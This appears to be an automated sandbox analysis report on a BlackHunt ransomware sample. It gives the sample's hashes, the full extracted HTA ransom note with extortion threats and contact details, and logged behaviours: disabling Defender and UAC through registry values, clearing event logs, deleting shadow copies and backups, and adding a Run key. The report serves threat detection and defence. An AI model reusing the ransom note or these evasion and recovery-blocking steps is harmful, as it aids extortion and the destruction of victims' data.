15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:35

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General

Target

15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
Size

707KB
MD5

0fc015a616d55212c820288cd29e22ed
SHA1

cbb4afaf68028f69c529b6ccbeda8f230180bb09
SHA256

15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa
SHA512

48dc15f303fba45a9c419ea2df72f329dda4ad451d2902500b474c44f62a8d6f5644de566dc8cea2e89de5619dacc8dd4b033416783feb583e8fc028641264a6
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8lvnh:6uaTmkZJ+naie5OTamgEoKxLWdBh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\Program Files\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> m2HnqXYyaKnHlCAx </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2916	fsutil.exe
4052	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3344	wevtutil.exe
2896	wevtutil.exe
3372	wevtutil.exe
3892	wevtutil.exe
2864	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1028	bcdedit.exe
2656	bcdedit.exe
3620	bcdedit.exe
3868	bcdedit.exe

Renames multiple (2888) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1364	wbadmin.exe
2004	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3116	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\E:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\L:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\V:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\U:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\N:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\R:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\T:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\A:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\X:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\I:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\P:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\H:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\J:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\K:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\Y:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\S:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\G:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\O:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\Z:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\B:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened (read-only)	\??\M:	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic.ja_5.5.0.165303.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-execution.xml	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_select-highlight.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\#BlackHunt_ReadMe.txt	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\SetCheckpoint.ogg	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\VideoLAN\VLC\locale\tr\#BlackHunt_ReadMe.hta	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_Private.key	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Mawson	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\alt-rt.jar	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\Bissau	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\Canary	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\EET	15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe
